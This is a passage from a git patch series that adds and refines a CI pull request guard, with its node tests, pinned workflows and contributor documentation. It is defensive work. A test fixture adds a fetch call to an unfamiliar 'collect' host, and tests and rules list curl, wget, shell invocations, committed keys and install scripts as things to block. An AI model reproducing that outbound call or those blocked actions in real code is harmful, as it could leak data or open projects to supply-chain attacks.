"--base", baseSha, "--head", baseSha], { encoding: "utf8" }); + assert.equal(noLock.status, 1); + const emptyLock = join(dirname(lockFile), "empty.lock"); + writeFileSync(emptyLock, "# nothing\n"); + assert.equal(spawnSync(process.execPath, [GUARD, "--repo", dir, "--lock", emptyLock, "--base", baseSha, "--head", baseSha], { encoding: "utf8" }).status, 1); + }); + + test("inside Actions it writes a summary and annotations", () => { + const summary = join(dirname(lockFile), "summary.md"); + writeFileSync(summary, ""); + const head = pullRequest({ ".github/workflows/ci.yml": "name: ci\n# edited\n", "app/src/lib/t.ts": 'fetch("https://collect.metrics-cdn.io");\n' }); + const result = spawnSync(process.execPath, [GUARD, "--repo", dir, "--lock", lockFile, "--base", baseSha, "--head", head, "--author", "someone"], { encoding: "utf8", env: { ...process.env, GITHUB_ACTIONS: "true", GITHUB_STEP_SUMMARY: summary, PR_NUMBER: "", GITHUB_REPOSITORY: "" } }); + assert.equal(result.status, 1); + assert.match(result.stdout, /^::error title=pr-guard%3A CI%2C the guard or code owners changed,file=\.github\/workflows\/ci\.yml::/m); + assert.match(result.stdout, /^::warning title=pr-guard%3A A host the repository has not used before,file=app\/src\/lib\/t\.ts,line=1::/m); + assert.match(execFileSync("cat", [summary]).toString(), /## pr-guard: blocked/); + }); +}); diff --git a/.github/scripts/workflows.test.mjs b/.github/scripts/workflows.test.mjs new file mode 100644 index 00000000..ea0b6f98 --- /dev/null +++ b/.github/scripts/workflows.test.mjs @@ -0,0 +1,119 @@ +// The workflow files keep the properties the pull request guard depends on. node --test .github/scripts/workflows.test.mjs + +import assert from "node:assert/strict"; +import { readFileSync, readdirSync } from "node:fs"; +import { test } from "node:test"; +import { fileURLToPath } from "node:url"; + +import { OWNERS } from "./pr-guard.mjs"; + +const root = fileURLToPath(new URL("../../", import.meta.url)); +const dir = `${root}.github/workflows/`; +const workflows = Object.fromEntries(readdirSync(dir).filter((name) => /\.ya?ml$/.test(name)).map((name) => [name, readFileSync(dir + name, "utf8")])); +/** Lines that are not comments, with their trailing comments kept (a pinned action names its release there). */ +const lines = (text) => text.split("\n").filter((line) => !/^\s*#/.test(line)); +const guard = workflows["pr-guard.yml"]; +/** Every shell command a workflow runs: `run: command`, or the lines of a `run: |` block. */ +function commands(text) { + const out = []; + const all = lines(text); + for (let i = 0; i < all.length; i++) { + const m = /^(\s*)(?:-\s+)?run:\s*(.*)$/.exec(all[i]); + if (!m) continue; + if (!/^[|>][+-]?$/.test(m[2])) { out.push(m[2]); continue; } + for (i++; i < all.length && (all[i].trim() === "" || all[i].search(/\S/) > m[1].length); i++) if (all[i].trim()) out.push(all[i].trim()); + i--; + } + return out; +} + +test("the two workflows exist", () => { + assert.deepEqual(Object.keys(workflows).sort(), ["ci.yml", "pr-guard.yml"]); +}); + +test("every action is pinned to a full commit SHA, with its release in a comment", () => { + let seen = 0; + for (const [name, text] of Object.entries(workflows)) { + for (const line of lines(text)) { + const uses = /^\s*(?:-\s+)?uses:\s*(.+)$/.exec(line)?.[1]; + if (uses === undefined) continue; + seen++; + assert.match(uses, /^[\w.-]+\/[\w./-]+@[0-9a-f]{40} # v\d+\.\d+\.\d+$/, `${name}: ${uses}`); + } + } + assert.ok(seen >= 6); +}); + +test("only the guard runs in the base repository's context on outside input", () => { + for (const [name, text] of Object.entries(workflows)) { + const privileged = /\b(pull_request_target|workflow_run|issue_comment|pull_request_review(_comment)?|discussion(_comment)?|issues)\s*:/.test(lines(text).join("\n")); + assert.equal(privileged, name === "pr-guard.yml", name); + } +}); + +test("no workflow asks for a write permission, and none reads a secret", () => { + for (const [name, text] of Object.entries(workflows)) { + const body = lines(text).join("\n"); + assert.match(body, /^permissions:/m, `${name} sets permissions at the top`); + assert.doesNotMatch(body, /:\s*write\b|write-all/, name); + assert.doesNotMatch(body, /\bsecrets\.|\bsecrets\[/, name); + } +}); + +test("the guard job is named pr-guard, the name the branch rules require", () => { + assert.match(guard, /^jobs:\n {2}pr-guard:\n {4}name: pr-guard$/m); + assert.match(guard, /^permissions: \{\}$/m); + assert.match(guard, /^ {6}contents: read\n {6}pull-requests: read$/m); + assert.match(guard, /branches: \[main\]/); +}); + +test("the guard never checks out or runs the pull request", () => { + const body = lines(guard).join("\n"); + // the one checkout stays on the base commit: no ref, no credentials left behind + assert.equal(body.match(/uses: actions\/checkout@/g).length, 1); + assert.doesNotMatch(body, /^\s*(ref|repository|submodules|token|ssh-key):/m); + assert.match(body, /persist-credentials: false/); + // nothing is installed or built, and the only programs are git and the guard script from this checkout + assert.deepEqual(commands(guard).map((command) => command.split(" ").slice(0, 2).join(" ")), ["git fetch", "git cat-file", "node .github/scripts/pr-guard.mjs"]); + assert.doesNotMatch(body, /\b(npm|npx|yarn|pnpm|bun|pip|forge|curl|wget|bash|sh -c)\b/); +}); + +test("pull request data reaches the guard's shell only through environment variables", () => { + for (const line of lines(guard)) { + if (!line.includes("${{")) continue; + assert.match(line, /^\s+(group|[A-Z][A-Z0-9_]*): .*\$\{\{ [\w.]+ \}\}$/, line.trim()); + } + // the head commit is read by its SHA from the event, not by a branch name the author controls + assert.match(guard, /GUARD_HEAD: \$\{\{ github\.event\.pull_request\.head\.sha \}\}/); + assert.doesNotMatch(guard, /head\.ref|head_ref|head\.label|pull_request\.title|pull_request\.body/); +}); + +test("ci never uses pull_request_target and runs the lock check and the guard's tests", () => { + const ci = workflows["ci.yml"]; + assert.match(ci, /^ {2}pull_request:$/m); + assert.match(ci, /run: script\/check-deployed-sources\.sh/); + assert.match(ci, /run: script\/check-arc-factory\.sh/); + assert.match(ci, /run: node --test \.github\/scripts\/pr-guard\.test\.mjs \.github\/scripts\/workflows\.test\.mjs/); + assert.match(ci, /foundry-toolchain@[0-9a-f]{40} # v\d+\.\d+\.\d+\n\s+with:\n\s+version: v\d+\.\d+\.\d+/, "the Foundry version is pinned"); +}); + +test("code owners and the guard name the same people, and cover the guarded paths", () => { + const owners = readFileSync(`${root}.github/CODEOWNERS`, "utf8"); + const rules = owners.split("\n").filter((line) => line && !line.startsWith("#")).map((line) => line.split(/\s+/)); + for (const [path, ...names] of rules) assert.deepEqual(names, OWNERS.map((login) => `@${login}`), path); + for (const path of ["/contracts/", "/.github/", "/app/package.json", "/app/package-lock.json"]) assert.ok(rules.some(([p]) => p === path), path); +}); + +test("the lock names files that exist, and every deployed source is in it", () => { + const lock = readFileSync(`${root}contracts/deployed.lock`, "utf8"); + const entries = lock.split("\n").filter((line) => /^(sha256|gitlink) /.test(line)).map((line) => line.split(/\s+/)); + assert.ok(entries.length >= 13); + for (const [kind, value, path] of entries) { + assert.match(value, kind === "sha256" ? /^[0-9a-f]{64}$/ : /^[0-9a-f]{40}$/, path); + if (kind === "sha256") assert.doesNotThrow(() => readFileSync(root + path), path); + } + const locked = new Set(entries.map(([, , path]) => path)); + for (const path of ["contracts/src/LaunchFactory.sol", "contracts/src/LaunchFactoryArc.sol", "contracts/src/LaunchLocker.sol", "contracts/src/LaunchToken.sol", "contracts/foundry.toml", "contracts/remappings.txt", ".gitmodules", "contracts/lib/forge-std", "contracts/lib/v4-periphery"]) { + assert.ok(locked.has(path), path); + } +}); diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 63598ba9..c9d011dc 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -1,5 +1,11 @@ name: ci +# Runs the pull request's own code with a read-only token and no secrets. The security gate is the separate pr-guard +# workflow, which runs main's copy of itself; these jobs can be trusted on a pull request only while pr-guard is green, +# because a pull request that edits this file is refused there. +# +# Actions are pinned to full commit SHAs (the comment names the release). .github/scripts/workflows.test.mjs keeps it so. + on: push: branches: [main] @@ -20,8 +26,8 @@ jobs: run: working-directory: app steps: - - uses: actions/checkout@v4 - - uses: actions/setup-node@v4 + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 with: node-version: 22 cache: npm @@ -46,12 +52,45 @@ jobs: run: working-directory: contracts steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 with: submodules: recursive - - uses: foundry-rs/foundry-toolchain@v1 + # the deployed sources, their build settings and the library pins match contracts/deployed.lock byte for byte + - run: script/check-deployed-sources.sh + - uses: foundry-rs/foundry-toolchain@908c540300062bd5a7e473851cdb4282204cee09 # v1.9.1 + with: + version: v1.5.1 - run: forge build --sizes - run: forge test --match-path test/LaunchFactory.t.sol -vv - run: forge test --match-path test/LaunchFactory.arcGuard.t.sol -vv - run: script/check-arc-factory.sh # live-fork suites (FORK_TESTS=true) need RPC access and run locally before a release; see README + + guard: + name: guard · unit tests + # same image and preinstalled Node as the pr-guard workflow, so the tests run where the guard runs + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + - run: node --version + - run: node --test .github/scripts/pr-guard.test.mjs .github/scripts/workflows.test.mjs + + deps: + name: deps · registry signatures + audit + runs-on: ubuntu-latest + defaults: + run: + working-directory: app + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 + with: + node-version: 22 + cache: npm + cache-dependency-path: app/package-lock.json + - run: npm ci --ignore-scripts --no-audit --no-fund + # every installed package carries a valid npm registry signature + - run: npm audit signatures + # known vulnerabilities in what ships to production; a new advisory can turn this red on an unrelated pull request, + # so it is a signal to act on, not a required check + - run: npm audit --omit=dev --audit-level=high diff --git a/.github/workflows/pr-guard.yml b/.github/workflows/pr-guard.yml new file mode 100644 index 00000000..39017ab4 --- /dev/null +++ b/.github/workflows/pr-guard.yml @@ -0,0 +1,54 @@ +name: pr-guard + +# The security gate for pull requests into main. The rules and their wording live in .github/scripts/pr-guard.mjs. +# +# pull_request_target runs main's copy of this workflow and of the script, so a pull request cannot edit its own judge. +# The job has a read-only token and no secrets. It never checks out, installs or runs anything from the pull request: +# the head commit is fetched as git objects and only read (git diff-tree, git cat-file, git diff). +# +# A change to this file, or to anything under .github/, is itself refused by the guard for everyone. Maintainers make it +# in a pull request of its own and merge that with an admin bypass. +# +# "pr-guard" is the name of the required status check in the branch rules for main. Do not rename the job. + +on: + pull_request_target: + branches: [main] + types: [opened, synchronize, reopened] + +permissions: {} + +concurrency: + group: pr-guard-${{ github.event.pull_request.number }} + cancel-in-progress: true + +jobs: + pr-guard: + name: pr-guard + runs-on: ubuntu-24.04 + timeout-minutes: 10 + permissions: + contents: read + pull-requests: read + steps: + - name: check out main (trusted) + uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + with: + fetch-depth: 0 + persist-credentials: false + - name: fetch the pull request as data + env: + PR_NUMBER: ${{ github.event.pull_request.number }} + HEAD_SHA: ${{ github.event.pull_request.head.sha }} + run: | + git fetch --quiet --no-tags --no-recurse-submodules origin "+refs/pull/${PR_NUMBER}/head:refs/pr-guard/head" + git cat-file -e "${HEAD_SHA}^{commit}" + - name: guard + env: + GUARD_BASE: HEAD + GUARD_HEAD: ${{ github.event.pull_request.head.sha }} + PR_NUMBER: ${{ github.event.pull_request.number }} + PR_AUTHOR: ${{ github.event.pull_request.user.login }} + EVENT_SENDER: ${{ github.event.sender.login }} + GITHUB_TOKEN: ${{ github.token }} + run: node .github/scripts/pr-guard.mjs diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index a167e231..d71bdcf0 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -27,11 +27,46 @@ cd ../contracts && forge test --match-path test/LaunchFactory.t.sol ``` cd app && npm run lint && npx tsc --noEmit -p . && npm test && npm run build -cd ../contracts && forge build && forge test --match-path test/LaunchFactory.t.sol +cd ../contracts && script/check-deployed-sources.sh && forge build && forge test --match-path test/LaunchFactory.t.sol ``` For contract changes, also run the live-fork suites locally (`FORK_TESTS=true forge test`) and say so in the PR. +## The pull request guard + +Every pull request into `main` also runs `pr-guard` (`.github/workflows/pr-guard.yml`). It reads the diff and never runs +your code. It has two answers besides "passed": + +- **Blocked.** Refused for everyone, maintainers included: a change to any file listed in `contracts/deployed.lock` + (the deployed contract sources, their build settings, the pinned libraries and the deployment records), anything under + `.github/`, a lockfile entry that does not come from the npm registry, a new install-time script, a committed key or + `.env` file, invisible or direction-changing Unicode, symlinks, new submodules, binaries that are not plain images or + fonts, and editor or agent configuration (`.vscode/`, `.claude/`, `AGENTS.md`, `.envrc` and the like). +- **Needs a maintainer's approval.** Allowed, and listed for a maintainer to read: new files under `contracts/`, + dependency and npm script changes, on-chain addresses, wallet calls, new hosts and environment variables, security + headers, build and deploy files, migrations, and code that executes strings or injects raw HTML. The check turns green + when a maintainer approves the exact commit. A new push needs a new approval. + +Deployed contracts are never edited. A change for another chain is a new file that copies the original, with its own +tests (`contracts/src/LaunchFactoryArc.sol` is the pattern). + +To stay out of both lists, leave `.github/` and the lockfile alone unless the change needs them, write an invisible +character as an escape sequence, and keep unrelated changes in separate pull requests. You can run the guard on your +branch before you push: + +``` +node .github/scripts/pr-guard.mjs --base origin/main --head HEAD +``` + +### For maintainers + +- The owners are `OWNERS` in `.github/scripts/pr-guard.mjs`, mirrored in `.github/CODEOWNERS`. +- To release a pull request the guard is holding: read the job summary, approve the head commit with a pull request + review, then re-run the `pr-guard` job. +- A blocked pull request that should merge anyway (a CI change, a new entry in `contracts/deployed.lock`) is merged by + an admin with the branch rule bypass, after reading it. +- The guard protects `main` only while `pr-guard` is a required status check in the branch rules. + ## Style - TypeScript strict, ESLint clean, no new dependencies without a reason in the PR. From 094d19229b4a4abb9f87b692b7aee23c1be553da Mon Sep 17 00:00:00 2001 From: Kevin Codex Date: Mon, 12 Oct 2026 12:53:52 +0800 Subject: [PATCH 3/7] ci: pr-guard review fixes: who pushed the head, off-registry specs, safe reports Fixes from the CodeRabbit and CodeQL review of #88, and from a second read of the result. - An owner's own pull request turns review findings into notices only when an owner pushed the head commit. The event's sender is that pusher only for a push event whose commit is still the head; for opened and reopened the branch's activity log is asked, and when GitHub cannot say, nobody pushed it. Before, reopening a pull request after someone else had pushed to it counted as the owner's push. - Dependency specs: the rule now lists what a registry spec may hold instead of every way to leave the registry. Local paths (../../x, ./x, ~/x, /x, .), tarball names, scp-style git remotes and unknown protocols were only "review" before. - A manifest or lockfile the guard cannot check (too large to read, nested too deep, past the file limit) is blocked. It used to be "unscanned", which one approval lets through. Both are read whole whatever their size. - Reports: finding details are code spans in the job summary, so a dependency or script name cannot write a link or HTML into it. A line of the job log no longer starts with a file name, which the runner could read as a workflow command. - The exit code is set, not forced: a JSON report sent into a pipe was cut at 8 KB on a Mac. - check-deployed-sources.sh: a library with edited or added files, with a state git cannot read, or with files but no repository is drift. The lock's last line counts without its newline, and --update works on an empty lock. - Workflows: every checkout drops its credentials, the guard job says what its two read permissions are for, and the tests pin the guard workflow line for line. - Not changed: a review does not start the guard. pull_request_review runs the pull request's copy of the workflow, so it cannot be trusted to judge, and re-running the trusted job takes a write permission that no workflow here has. The workflow header and CONTRIBUTING.md say so, and say when to re-run by hand. 136 tests (113 before), on Node 20, 22 and 24 and in a Linux container. --- .github/scripts/pr-guard.mjs | 194 +++++++++++---- .github/scripts/pr-guard.test.mjs | 259 +++++++++++++++++++-- .github/scripts/workflows.test.mjs | 195 +++++++++++++++- .github/workflows/ci.yml | 10 +- .github/workflows/pr-guard.yml | 16 +- CONTRIBUTING.md | 14 +- contracts/script/check-deployed-sources.sh | 17 +- 7 files changed, 626 insertions(+), 79 deletions(-) diff --git a/.github/scripts/pr-guard.mjs b/.github/scripts/pr-guard.mjs index 921701d5..363b613d 100644 --- a/.github/scripts/pr-guard.mjs +++ b/.github/scripts/pr-guard.mjs @@ -8,11 +8,11 @@ // Two kinds of finding: // block red for everyone, the owners included. Merging takes a deliberate admin bypass. // review red until an owner approves the exact head commit with a pull request review (then re-run the job). On an -// owner's own pull request it is a notice. +// owner's own pull request it is a notice, as long as an owner pushed the head commit. // // Findings name the matched token (an address, a host, a function), never the whole line, and never a secret's value. // -// Local replay: node .github/scripts/pr-guard.mjs --base --head [--author ] [--sender ] [--approved] [--json] +// Local replay: node .github/scripts/pr-guard.mjs --base --head [--author ] [--pusher ] [--approved] [--json] import { execFileSync } from "node:child_process"; import { appendFileSync, readFileSync } from "node:fs"; @@ -96,10 +96,12 @@ const OTHER_LOCK = /(^|\/)(yarn\.lock|pnpm-lock\.yaml|bun\.lockb?|deno\.lock)$/; const isTest = (p) => /\.(test|spec)\.[cm]?[jt]sx?$|\.t\.sol$|^contracts\/test\//.test(p); /** Everything that is not plainly prose is read as code, whatever its extension. */ const isCode = (p) => !/\.(md|markdown|txt|rst|adoc|csv|tsv|diff|patch)$/i.test(p) && !/(^|\/)(LICENSE|NOTICE|AUTHORS)[^/]*$/.test(p); +/** The file extension, lowercase and without its dot; "" when there is none. */ const ext = (p) => (/\.([A-Za-z0-9]+)$/.exec(p)?.[1] ?? "").toLowerCase(); // ---------- content rules ---------- +/** A slice of a file's bytes as text, for comparing with a format's signature. */ const ascii = (b, from, to) => b.subarray(from, to).toString("latin1"); /** Images and fonts may be binary, when the bytes are what the name says. */ const MAGIC = { @@ -278,8 +280,24 @@ export function scanBytes(path, bytes) { const LIFECYCLE = new Set(["preinstall", "install", "postinstall", "prepublish", "preprepare", "prepare", "postprepare", "prepack", "postpack", "dependencies"]); const DEP_FIELDS = ["dependencies", "devDependencies", "optionalDependencies", "peerDependencies", "overrides", "resolutions"]; -const OFF_REGISTRY = /^(git|git\+\w+|https?|file|link|github|gitlab|bitbucket|gist|workspace|npm|portal|patch):|:\/\/|^[\w.-]+\/[\w.-]+(#.*)?$/i; +/** + * What the registry is asked for: a version, a range or a tag. Anything else names a place. npm reads a leading dot, a + * slash, a colon, an @ or a tarball's name as a folder, a file, a URL, a git remote or an alias, so the rule lists what a + * registry spec may hold instead of every way to leave the registry. + */ +const REGISTRY_SPEC = /^(?!\.)[\w.^~<>=*|+ -]*$/; +/** A tarball's name, as npm tests it. The dot in "tar.gz" is left bare on purpose: older npm reads "x.tar-gz" as a file too. */ +const TARBALL = /\.(tgz|tar.gz|tar)$/i; +/** In `overrides`, "$name" stands for the version this manifest already asks for under that name. */ +const OVERRIDE_REFERENCE = /^\$(@[a-z\d~-][\w.~-]*\/)?[a-z\d~-][\w.~-]*$/i; +/** True when a dependency's spec takes the package from anywhere but the npm registry. */ +function offRegistry(field, spec) { + const text = spec.trim(); + if (field === "overrides" && OVERRIDE_REFERENCE.test(text)) return false; + return !REGISTRY_SPEC.test(text) || TARBALL.test(text); +} +/** A JSON object from a file's text: {} when the file is absent, null when it is not an object. */ const parseJson = (text) => { if (text === null) return {}; try { @@ -322,7 +340,7 @@ export function lintManifest(path, headText, baseText) { for (const [name, spec] of Object.entries(now)) { const had = Object.hasOwn(was, name); if (had && was[name] === spec) continue; - if (OFF_REGISTRY.test(spec)) add("dependency-source", `${name} comes from "${spec}"`); + if (offRegistry(field, spec)) add("dependency-source", `${name} comes from "${spec}"`); else add("dependencies", had ? `${name} ${was[name]} → ${spec}` : `${name} ${spec} added (${field})`); } for (const name of Object.keys(was)) if (!Object.hasOwn(now, name)) add("dependencies", `${name} removed (${field})`); @@ -398,6 +416,7 @@ export function parseRaw(raw) { return changes; } +/** A line without the carriage return a Windows line ending leaves behind. */ const stripCr = (line) => (line.endsWith("\r") ? line.slice(0, -1) : line); /** A zero-context unified diff to { added: [{ n, text }], removed: [text] }. */ export function parseHunks(diff) { @@ -412,6 +431,7 @@ export function parseHunks(diff) { } return { added, removed }; } +/** Every line of a new file as an added line: [{ n, text }]. */ const allLines = (text) => { const lines = text.split("\n"); if (lines.at(-1) === "") lines.pop(); @@ -467,6 +487,7 @@ export function openRepo(cwd, base, head) { }; } +/** A value computed on first use and kept: the base branch is only searched when a rule needs it. */ const lazy = (make) => { let value; return () => (value ??= make()); @@ -523,19 +544,26 @@ export function analyze(repo, { lockedPaths }) { if (OTHER_LOCK.test(path) && !gone) add("dependencies", path, "a lockfile for another package manager"); if (gone || (newMode !== "100644" && newMode !== "100755")) continue; - if (++scanned > MAX_SCAN_FILES) { add("unscanned", path, `more than ${MAX_SCAN_FILES} files in one pull request`); continue; } + // A manifest or lockfile the guard could not check is refused, not handed on for review: failing to read it must + // never rank below what reading it would have found. + const dependencyRule = MANIFEST.test(path) ? "dependency-source" : NPM_LOCK.test(path) ? "lockfile" : null; + let checked = !dependencyRule; + const unread = (why) => (checked ? add("unscanned", path, why) : add(dependencyRule, path, `could not be checked: ${why}`)); + if (++scanned > MAX_SCAN_FILES) { unread(`more than ${MAX_SCAN_FILES} files in one pull request`); continue; } try { const bytes = repo.blob(change.newSha); - if (!bytes) { add("unscanned", path, `larger than ${MAX_BLOB_BYTES / 1_000_000} MB`); continue; } + if (!bytes) { unread(`larger than ${MAX_BLOB_BYTES / 1_000_000} MB`); continue; } const byteFindings = scanBytes(path, bytes); if (byteFindings) { for (const f of byteFindings) add(f.rule, f.path, f.detail, f.line); continue; } - if (bytes.length > MAX_TEXT_BYTES) { add("unscanned", path, `a text file of ${Math.ceil(bytes.length / 1_000_000)} MB`); continue; } + // dependency files are read whole whatever their size; the limit below is on what is matched line by line if (MANIFEST.test(path)) for (const f of lintManifest(path, bytes.toString("utf8"), repo.baseText(path))) add(f.rule, f.path, f.detail); if (NPM_LOCK.test(path)) { for (const f of lintNpmLock(path, bytes.toString("utf8"), repo.baseText(path))) add(f.rule, f.path, f.detail); continue; // thousands of registry URLs and hashes: the structure check above is the scan } + checked = true; + if (bytes.length > MAX_TEXT_BYTES) { add("unscanned", path, `a text file of ${Math.ceil(bytes.length / 1_000_000)} MB`); continue; } const lines = status === "A" || /^0+$/.test(change.oldSha) || oldMode === "160000" || oldMode === "120000" ? { added: allLines(bytes.toString("utf8")), removed: [] } : repo.diff(change.oldSha, change.newSha); @@ -545,7 +573,7 @@ export function analyze(repo, { lockedPaths }) { for (const f of found.slice(0, MAX_FINDINGS_PER_FILE)) add(f.rule, f.path, f.detail, f.line); if (found.length > MAX_FINDINGS_PER_FILE) add("unscanned", path, `${found.length - MAX_FINDINGS_PER_FILE} more findings in this file are not listed`); } catch (error) { - add("unscanned", path, `could not be read (${error.code ?? error.status ?? "error"})`); + unread(`could not be read (${error.code ?? error.status ?? "error"})`); } } return findings; @@ -567,17 +595,30 @@ export function ownerApproval(reviews, owners, headSha) { } /** - * pass / review / block. An owner's own pull request, at a commit an owner pushed, turns "review" findings into notices; - * so does an owner's approval of the exact head commit. Nothing turns a "block" into a pass. + * Who pushed `headSha` to the pull request's branch, from the branch's activity log (newest first), or null when the log + * does not list that push. Creating the branch, a force push and a merge into the branch all count as pushing it. + */ +export function pusherOf(activity, headSha) { + const push = Array.isArray(activity) ? activity.find((entry) => entry?.after === headSha) : null; + return push?.actor?.login ?? null; +} + +/** + * pass / review / block. An owner's own pull request, at a head commit an owner pushed, turns "review" findings into + * notices; so does an owner's approval of the exact head commit. Nothing turns a "block" into a pass. + * + * `pusher` is whoever pushed the head commit, which is not always whoever started the run: reopening a pull request, or + * opening one from a branch someone else pushed, does not make the commit the owner's. */ -export function verdict(findings, { author, sender, approvedBy, owners = OWNERS }) { +export function verdict(findings, { author, pusher, approvedBy, owners = OWNERS }) { const is = (login) => owners.includes(String(login ?? "").toLowerCase()); const blocks = findings.filter((f) => f.tier === "block").length; const reviews = findings.filter((f) => f.tier === "review").length; - const ownPr = is(author) && is(sender); - if (blocks > 0) return { outcome: "block", ok: false, blocks, reviews, ownPr, approvedBy: null }; - if (reviews > 0 && !ownPr && !approvedBy) return { outcome: "review", ok: false, blocks, reviews, ownPr, approvedBy: null }; - return { outcome: "pass", ok: true, blocks, reviews, ownPr, approvedBy: reviews > 0 && !ownPr ? approvedBy : null }; + const byOwner = is(author); + const ownPr = byOwner && is(pusher); + if (blocks > 0) return { outcome: "block", ok: false, blocks, reviews, byOwner, ownPr, approvedBy: null }; + if (reviews > 0 && !ownPr && !approvedBy) return { outcome: "review", ok: false, blocks, reviews, byOwner, ownPr, approvedBy: null }; + return { outcome: "pass", ok: true, blocks, reviews, byOwner, ownPr, approvedBy: reviews > 0 && !ownPr ? approvedBy : null }; } // ---------- report ---------- @@ -587,6 +628,12 @@ export const plain = (value, max = 200) => { const text = String(value).replace(/[\u0000-\u001F\u007F-\u009F\u2028\u2029]/g, " ").replace(/[\u061C\u200B-\u200F\u202A-\u202E\u2060-\u2069\uFEFF]/g, "?"); return text.length > max ? `${text.slice(0, max)}…` : text; }; +/** + * Untrusted text for the job log. The runner reads "::command::" at the start of a line (after any spaces) and + * "##[command]" anywhere in one, so the second is broken up here and the first by never starting a line with such text. + */ +const logged = (value, max) => plain(value, max).replace(/##\[/g, "# #["); +/** Untrusted text as a Markdown code span, where nothing in it is read as Markdown, HTML or a link. */ const code = (value) => `\`${plain(value).replace(/`/g, "'") || " "}\``; /** A workflow command with its data and properties escaped, so file names and details cannot start a command of their own. */ export function annotation(level, { path, line, title }, message) { @@ -609,7 +656,11 @@ function grouped(findings, tier) { } return Object.keys(RULES).filter((rule) => byRule.has(rule)).map((rule) => [rule, [...byRule.get(rule)]]); } -const describe = (list) => { +/** + * One file's findings on one line: each distinct detail once, with the lines it was found on. `show` makes a detail safe + * for where the line is printed. Details carry text from the pull request (a dependency's name, a script's name, a host). + */ +const describe = (list, show) => { const seen = new Map(); for (const f of list) { if (!seen.has(f.detail)) seen.set(f.detail, []); @@ -617,11 +668,12 @@ const describe = (list) => { } const parts = [...seen].slice(0, 6).map(([detail, lines]) => { const where = lines.length === 0 ? "" : ` (line ${lines.slice(0, 4).join(", ")}${lines.length > 4 ? `, +${lines.length - 4}` : ""})`; - return `${plain(detail)}${where}`; + return `${show(detail)}${where}`; }); return parts.join("; ") + (seen.size > 6 ? `; and ${seen.size - 6} more` : ""); }; +/** The job summary, in Markdown: the verdict, what to do next, and the findings by rule. */ export function renderSummary(findings, result, { headSha, owners = OWNERS, note = "" }) { const short = headSha.slice(0, 7); const names = owners.map((login) => `@${login}`).join(" or "); @@ -629,13 +681,16 @@ export function renderSummary(findings, result, { headSha, owners = OWNERS, note if (result.outcome === "block") { out.push("## pr-guard: blocked", "", `${result.blocks} blocking ${result.blocks === 1 ? "finding" : "findings"} at \`${short}\`. These are refused for everyone. Take the change out of the pull request, or a repository admin merges it with an explicit bypass after reading it.`); } else if (result.outcome === "review") { - out.push("## pr-guard: needs an owner's approval", "", `Nothing is blocked, and ${result.reviews} sensitive ${result.reviews === 1 ? "change needs" : "changes need"} a look from ${names}.`, "", `**To pass:** ${names} reads the points below, approves commit \`${short}\` with a pull request review, then re-runs this job. A new push needs a new approval.`); + out.push("## pr-guard: needs an owner's approval", "", `Nothing is blocked, and ${result.reviews} sensitive ${result.reviews === 1 ? "change needs" : "changes need"} a look from ${names}.`, ""); + // an author cannot approve their own pull request on GitHub, so an owner's has a second way through + if (result.byOwner) out.push(`This is an owner's pull request, but commit \`${short}\` does not count as an owner's push. **To pass:** an owner reads the points below and pushes the next commit to the branch, or another owner approves commit \`${short}\` with a pull request review and re-runs this job.`); + else out.push(`**To pass:** ${names} reads the points below, approves commit \`${short}\` with a pull request review, then re-runs this job. A new push needs a new approval.`); } else if (result.reviews > 0) { - out.push("## pr-guard: passed", "", result.approvedBy ? `@${result.approvedBy} approved commit \`${short}\`. The sensitive changes are listed below for the record.` : `An owner's own pull request at \`${short}\`. The sensitive changes are listed below as notices.`); + out.push("## pr-guard: passed", "", result.approvedBy ? `@${result.approvedBy} approved commit \`${short}\`. The sensitive changes are listed below for the record.` : `An owner's own pull request, and an owner pushed \`${short}\`. The sensitive changes are listed below as notices.`); } else { out.push("## pr-guard: passed", "", `Nothing blocked and nothing sensitive at \`${short}\`.`); } - if (note) out.push("", `> ${plain(note)}`); + if (note) out.push("", `> ${plain(note, 600)}`); let budget = 400; for (const [tier, heading] of [["block", "Blocked"], ["review", result.ok ? "Sensitive changes" : "Needs an owner's approval"]]) { const groups = grouped(findings, tier); @@ -645,7 +700,7 @@ export function renderSummary(findings, result, { headSha, owners = OWNERS, note out.push("", `**${RULES[rule].title}** (\`${rule}\`) `, RULES[rule].help, ""); for (const [path, list] of paths) { if (--budget < 0) break; - out.push(`- ${code(path)}: ${describe(list)}`); + out.push(`- ${code(path)}: ${describe(list, code)}`); } if (budget < 0) out.push("- and more; the list is cut here"); } @@ -653,12 +708,14 @@ export function renderSummary(findings, result, { headSha, owners = OWNERS, note return `${out.join("\n")}\n`; } +/** The same verdict and findings as plain text, for the job log and a local run. */ export function renderText(findings, result) { const out = [`pr-guard: ${result.outcome} (${result.blocks} blocking, ${result.reviews} for review)`]; + if (result.outcome === "review" && result.byOwner) out.push(" an owner's pull request, held because the head commit does not count as an owner's push"); for (const tier of ["block", "review"]) { for (const [rule, paths] of grouped(findings, tier)) { out.push(` [${tier}] ${rule}: ${RULES[rule].title}`); - for (const [path, list] of paths) out.push(` ${plain(path)}: ${describe(list)}`); + for (const [path, list] of paths) out.push(` - ${logged(path)}: ${describe(list, logged)}`); } } return out.join("\n"); @@ -666,20 +723,52 @@ export function renderText(findings, result) { // ---------- entry point ---------- -async function fetchReviews({ api, repository, number, token }) { +/** + * GET a GitHub API path as JSON, with the job's read-only token when there is one. A failure is one of a few fixed + * reasons, so nothing the API sent back ends up in the report. + */ +async function getJson(env, path) { + let response; + try { + response = await fetch(`${env.GITHUB_API_URL ?? "https://api.github.com"}${path}`, { + headers: { accept: "application/vnd.github+json", "x-github-api-version": "2022-11-28", ...(env.GITHUB_TOKEN ? { authorization: `Bearer ${env.GITHUB_TOKEN}` } : {}) }, + signal: 